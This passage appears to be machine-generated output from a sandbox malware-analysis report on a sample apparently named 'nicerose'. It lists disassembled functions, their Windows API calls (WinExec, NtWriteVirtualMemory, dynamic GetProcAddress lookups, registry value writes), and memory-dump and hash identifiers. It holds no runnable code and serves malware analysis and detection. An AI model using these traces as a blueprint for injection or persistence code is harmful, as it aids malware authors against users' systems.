                                                                                      • Part of subcall function 02BC80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02BC8150,?,?,00000000,00000000,?,02BC8069,00000000,KernelBASE,00000000,00000000,02BC8090), ref: 02BC8115
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02BC811B
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(?,?), ref: 02BC812D
                                                                                    • WinExec.KERNEL32(?,?), ref: 02BC8478
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: HandleModule$AddressProc$Exec
                                                                                    • String ID: Kernel32$WinExec
                                                                                    • API String ID: 2292790416-3609268280
                                                                                    • Opcode ID: 344925a8e7f5f973345a0d232846cfe4ac524c89391f5d87e35ab5af07d9795c
                                                                                    • Instruction ID: afd334e688adc76f952d05376fcbd442960f10c9fac226c2f03ee8d6283ccbbf
                                                                                    • Opcode Fuzzy Hash: 344925a8e7f5f973345a0d232846cfe4ac524c89391f5d87e35ab5af07d9795c
                                                                                    • Instruction Fuzzy Hash: 3501D634600204BFEB12EFA4DC12B6A77EDFB09710FA144A5B608D3A10D6B8AD008A24
                                                                                    Function 02BC8410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45processCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02BC8090,?,?,00000000,?,02BC7A06,ntdll,00000000,00000000,02BC7A4B,?,?,00000000), ref: 02BC805E
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNELBASE(?), ref: 02BC8072
                                                                                      • Part of subcall function 02BC80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02BC8150,?,?,00000000,00000000,?,02BC8069,00000000,KernelBASE,00000000,00000000,02BC8090), ref: 02BC8115
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02BC811B
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(?,?), ref: 02BC812D
                                                                                    • WinExec.KERNEL32(?,?), ref: 02BC8478
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: HandleModule$AddressProc$Exec
                                                                                    • String ID: Kernel32$WinExec
                                                                                    • API String ID: 2292790416-3609268280
                                                                                    • Opcode ID: fe94906eabb117b641b65bae800bdfe22b3c66a443a9028dc8c88d51d2eba12a
                                                                                    • Instruction ID: e1db2b2cfc587c86e61a37ae7bf21ed10e359c48497c0ae19d416c0bade1a33e
                                                                                    • Opcode Fuzzy Hash: fe94906eabb117b641b65bae800bdfe22b3c66a443a9028dc8c88d51d2eba12a
                                                                                    • Instruction Fuzzy Hash: 05F0D634600204BFEB12EFA4DC12B6A77EDFB09710FA144A5B608D3A10C6B8A9008A24
                                                                                    Function 02BC5BB4 Relevance: 4.6, APIs: 3, Instructions: 105fileCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02BC5CFC,?,?,02BC3888,00000001), ref: 02BC5C10
                                                                                    • GetLastError.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,00000000,02BC5CFC,?,?,02BC3888,00000001), ref: 02BC5C3E
                                                                                      • Part of subcall function 02BB7D18: CreateFileA.KERNEL32(00000000,00000000,00000000,00000000,00000003,00000080,00000000,?,?,02BC3888,02BC5C7E,00000000,02BC5CFC,?,?,02BC3888), ref: 02BB7D66
                                                                                      • Part of subcall function 02BB7F20: GetFullPathNameA.KERNEL32(00000000,00000104,?,?,?,02BC3888,02BC5C99,00000000,02BC5CFC,?,?,02BC3888,00000001), ref: 02BB7F3F
                                                                                    • GetLastError.KERNEL32(00000000,02BC5CFC,?,?,02BC3888,00000001), ref: 02BC5CA3
                                                                                      • Part of subcall function 02BBA700: FormatMessageA.KERNEL32(00003200,00000000,?,00000000,?,00000100,00000000,?,02BBC361,00000000,02BBC3BB), ref: 02BBA71F
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CreateErrorFileLast$FormatFullMessageNamePath
                                                                                    • String ID:
                                                                                    • API String ID: 503785936-0
                                                                                    • Opcode ID: 15d726d3c012222567059156d3ebccddae7121130d80f9be22d05a7931b4ff13
                                                                                    • Instruction ID: 500bcdbbddf19c5c72cea9b99b60014a43f0a8e6ba578300c2e79586f4cc320d
                                                                                    • Opcode Fuzzy Hash: 15d726d3c012222567059156d3ebccddae7121130d80f9be22d05a7931b4ff13
                                                                                    • Instruction Fuzzy Hash: D9316270A006089FDB11EFA4C8917EEB7F6AF48714FA085A9E904F7381D7B56905CFA1
                                                                                    Function 02BCE6BE Relevance: 4.6, APIs: 3, Instructions: 59registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyA.ADVAPI32(?,00000000,02D05914), ref: 02BCE704
                                                                                    • RegSetValueExA.ADVAPI32(00000878,00000000,00000000,00000001,00000000,0000001C,00000000,02BCE76F), ref: 02BCE73C
                                                                                    • RegCloseKey.ADVAPI32(00000878,00000878,00000000,00000000,00000001,00000000,0000001C,00000000,02BCE76F), ref: 02BCE747
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpenValue
                                                                                    • String ID:
                                                                                    • API String ID: 779948276-0
                                                                                    • Opcode ID: 6686cb1b7b2bfddf3c1e313f88f7185dc4f62e825b09d30bede250879b9618ec
                                                                                    • Instruction ID: e3fb925abd2cabb39316a1f8733e2192ee3b1ca4f6ef47a6f9823dec457db5d5
                                                                                    • Opcode Fuzzy Hash: 6686cb1b7b2bfddf3c1e313f88f7185dc4f62e825b09d30bede250879b9618ec
                                                                                    • Instruction Fuzzy Hash: C1113371A10208AFEB01EFA4E891AB977BDFF4C310F5004A1B544D7261D770DE108E54
                                                                                    Function 02BCE6C0 Relevance: 4.6, APIs: 3, Instructions: 58registryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • RegOpenKeyA.ADVAPI32(?,00000000,02D05914), ref: 02BCE704
                                                                                    • RegSetValueExA.ADVAPI32(00000878,00000000,00000000,00000001,00000000,0000001C,00000000,02BCE76F), ref: 02BCE73C
                                                                                    • RegCloseKey.ADVAPI32(00000878,00000878,00000000,00000000,00000001,00000000,0000001C,00000000,02BCE76F), ref: 02BCE747
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: CloseOpenValue
                                                                                    • String ID:
                                                                                    • API String ID: 779948276-0
                                                                                    • Opcode ID: 0f5648ff681cfc6a94491b805be451630f5fabb9f8404606d316279fb4f88a05
                                                                                    • Instruction ID: c2a4893c776771522df146fcce0fd5909aa518665d969c167dcac5ff8243581a
                                                                                    • Opcode Fuzzy Hash: 0f5648ff681cfc6a94491b805be451630f5fabb9f8404606d316279fb4f88a05
                                                                                    • Instruction Fuzzy Hash: 5F113071A10208AFEB01EFA4E891ABA77BDFF4C310F9004A1B644D7261DB70DE108E64
                                                                                    Function 02BBE2EC Relevance: 4.5, APIs: 3, Instructions: 45COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: ClearVariant
                                                                                    • String ID:
                                                                                    • API String ID: 1473721057-0
                                                                                    • Opcode ID: 16069603bf107b08b4d8286d2b3838482381fd37e31dbc245f61a6ccd8513264
                                                                                    • Instruction ID: cbf49baa0e99ef60b438820c2ae6f1146f26c44ad372f95d583cad54c4ba9811
                                                                                    • Opcode Fuzzy Hash: 16069603bf107b08b4d8286d2b3838482381fd37e31dbc245f61a6ccd8513264
                                                                                    • Instruction Fuzzy Hash: 8BF0C2647082108FC727BB38C8C46FD279AAF85701BD095E6A4869B275CBF8DC45CB62
                                                                                    Function 02BB4CFC Relevance: 4.5, APIs: 3, Instructions: 24memoryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SysFreeString.OLEAUT32(02BCE950), ref: 02BB4C1A
                                                                                    • SysAllocStringLen.OLEAUT32(?,?), ref: 02BB4D07
                                                                                    • SysFreeString.OLEAUT32(00000000), ref: 02BB4D19
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: String$Free$Alloc
                                                                                    • String ID:
                                                                                    • API String ID: 986138563-0
                                                                                    • Opcode ID: 91ceca5fa6b4b00783c1dc5844824a1c1d513446ded2c2740a365c4c94c32ece
                                                                                    • Instruction ID: d0f276c38129e65cc715b58026ad6043b916503b76f6622c77cecd49125aa199
                                                                                    • Opcode Fuzzy Hash: 91ceca5fa6b4b00783c1dc5844824a1c1d513446ded2c2740a365c4c94c32ece
                                                                                    • Instruction Fuzzy Hash: 6EE012B85152015EEF1B2F259C60BB7373AFFC1B41B1448D9A944CA151D7F4C441AD34
                                                                                    Function 02BC7064 Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 256COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • SysFreeString.OLEAUT32(?), ref: 02BC7362
                                                                                    Strings
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FreeString
                                                                                    • String ID: H
                                                                                    • API String ID: 3341692771-2852464175
                                                                                    • Opcode ID: ea46ea5b76cf6b02bedba1670246e2f296c6cc1d7efe0dba943c79b00addd850
                                                                                    • Instruction ID: 65a935628b37d400815b0d7469db39117a38a3c580952e3ac4bd14ecf79a47db
                                                                                    • Opcode Fuzzy Hash: ea46ea5b76cf6b02bedba1670246e2f296c6cc1d7efe0dba943c79b00addd850
                                                                                    • Instruction Fuzzy Hash: 3DB1F475A016089FDB11CF98D880A9DFBF6FF8A314F2485A9E845AB364DB31AC41DF50
                                                                                    Function 02BC8824 Relevance: 3.1, APIs: 2, Instructions: 65libraryCOMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • LoadLibraryA.KERNEL32(00000000,00000000,02BC890B), ref: 02BC8858
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02BC8090,?,?,00000000,?,02BC7A06,ntdll,00000000,00000000,02BC7A4B,?,?,00000000), ref: 02BC805E
                                                                                      • Part of subcall function 02BC8020: GetModuleHandleA.KERNELBASE(?), ref: 02BC8072
                                                                                      • Part of subcall function 02BC80C8: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02BC8150,?,?,00000000,00000000,?,02BC8069,00000000,KernelBASE,00000000,00000000,02BC8090), ref: 02BC8115
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02BC811B
                                                                                      • Part of subcall function 02BC80C8: GetProcAddress.KERNEL32(?,?), ref: 02BC812D
                                                                                      • Part of subcall function 02BC7D00: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02BC7D74
                                                                                    • FreeLibrary.KERNEL32(745E0000,00000000,02C11388,Function_000065D8,00000004,02C11398,02C11388,05F5E0FF,00000040,02C1139C,745E0000,00000000,00000000,00000000,00000000,02BC890B), ref: 02BC88EB
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: HandleModule$AddressLibraryProc$FreeLoadMemoryVirtualWrite
                                                                                    • String ID:
                                                                                    • API String ID: 3283153180-0
                                                                                    • Opcode ID: b435e15c9862fd2ec828931f2726101284743343aeae1f6fc994d02973c30c19
                                                                                    • Instruction ID: b484c6b8fd446b4ef9f410893817ebe0d8f7e651f14aa0dbb421f6c4abc1b1b9
                                                                                    • Opcode Fuzzy Hash: b435e15c9862fd2ec828931f2726101284743343aeae1f6fc994d02973c30c19
                                                                                    • Instruction Fuzzy Hash: 45118770640304AFEB12FBA4D812AAE77ADEF46710F9005E8731CA7A45CAF8DD205F14
                                                                                    Function 02BBE6E8 Relevance: 3.1, APIs: 2, Instructions: 63COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • VariantCopy.OLEAUT32(00000000,00000000), ref: 02BBE709
                                                                                      • Part of subcall function 02BBE2EC: VariantClear.OLEAUT32(?), ref: 02BBE2FB
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: Variant$ClearCopy
                                                                                    • String ID:
                                                                                    • API String ID: 274517740-0
                                                                                    • Opcode ID: 1df4921aa6259002806358484eeb0b7f8ce4416ae1a7ca5a33a1f71e1a0f05aa
                                                                                    • Instruction ID: 450e61c838bde94c10fc3a5614b57101a899a288dc3e1a3b9ca031aa15775790
                                                                                    • Opcode Fuzzy Hash: 1df4921aa6259002806358484eeb0b7f8ce4416ae1a7ca5a33a1f71e1a0f05aa
                                                                                    • Instruction Fuzzy Hash: F911C6307042108BC727AF2ACCC46F67796DF9571079444E6A54A8B775DBF0CC01C662
                                                                                    Function 02BBE384 Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: InitVariant
                                                                                    • String ID:
                                                                                    • API String ID: 1927566239-0
                                                                                    • Opcode ID: 444660aedf97da9c08ea5287dc569b38de7be1e74bf84216a82b1f3db033f8a9
                                                                                    • Instruction ID: 44d89a77ed2083bdd4b1c6fbb4bf2deffc0e45fdae69f2b21696e018967f8827
                                                                                    • Opcode Fuzzy Hash: 444660aedf97da9c08ea5287dc569b38de7be1e74bf84216a82b1f3db033f8a9
                                                                                    • Instruction Fuzzy Hash: DF312171A00209AFDB12DE68C985AFE77B8EF0D304F8845A5E905D3261D7B4E951CB62
                                                                                    Function 02BC6CF4 Relevance: 1.5, APIs: 1, Instructions: 30COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • CLSIDFromProgID.OLE32(00000000,?,00000000,02BC6D41,?,?,?,00000000), ref: 02BC6D21
                                                                                      • Part of subcall function 02BB4C0C: SysFreeString.OLEAUT32(02BCE950), ref: 02BB4C1A
                                                                                    Memory Dump Source
                                                                                    • Source File: 00000006.00000002.2255727740.0000000002BB1000.00000020.00001000.00020000.00000000.sdmp, Offset: 02BB0000, based on PE: true
                                                                                    • Associated: 00000006.00000002.2255703324.0000000002BB0000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002BDD000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2255920183.0000000002C0E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C11000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002C86000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D05000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    • Associated: 00000006.00000002.2256174177.0000000002D08000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                    Joe Sandbox IDA Plugin
                                                                                    • Snapshot File: hcaresult_6_2_2bb0000_nicerose.jbxd
                                                                                    Yara matches
                                                                                    Similarity
                                                                                    • API ID: FreeFromProgString
                                                                                    • String ID:
                                                                                    • API String ID: 4225568880-0
                                                                                    • Opcode ID: b0a79f47a8d54e1af41e412ec3ee6f64cfd480e4e00b6f5039ebd20538d05e5d
                                                                                    • Instruction ID: 4b399a9bd22a919cb7a37ebf819684a4f2e21901b0a8c374ff95ba8b5e98a594
                                                                                    • Opcode Fuzzy Hash: b0a79f47a8d54e1af41e412ec3ee6f64cfd480e4e00b6f5039ebd20538d05e5d
                                                                                    • Instruction Fuzzy Hash: D8E06531604204BFE702EBA5CC51DBA77BDEF89B10BA144F5F401D3611D9B4AD009860
                                                                                    Function 02BB5814 Relevance: 1.5, APIs: 1, Instructions: 26COMMON
                                                                                    Download Yara Rule
                                                                                    APIs
                                                                                    • GetModuleFileNameA.KERNEL32(02BB0000,?,00000105), ref: 02BB5832
                                                                                      • Part of subcall function 02BB5A78: GetModuleFileNameA.KERNEL32(00000000,?,00000105,02BB0000,02BDD790), ref: 02BB5A94
                                                                                      • Part of subcall function 02BB5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02BB0000,02BDD790), ref: 02BB5AB2
                                                                                      • Part of subcall function 02BB5A78: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02BB0000,02BDD790), ref: 02BB5AD0
                                                                                      • Part of subcall function 02BB5A78: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02BB5AEE
                                                                                      • Part of subcall function 02BB5A78: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02BB5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02BB5B37
                                                                                      • Part of subcall function 02BB5A78: RegQueryValueExA.ADVAPI32(?,02BB5CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02BB5B7D,?,80000001), ref: 02BB5B55
                                                                                      • Part of subcall function 02BB5A78: RegCloseKey.ADVAPI32(?,02BB5B84,00000000,?,?,00000000,02BB5B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02BB5B77
                                                                                    Memory Dump Source
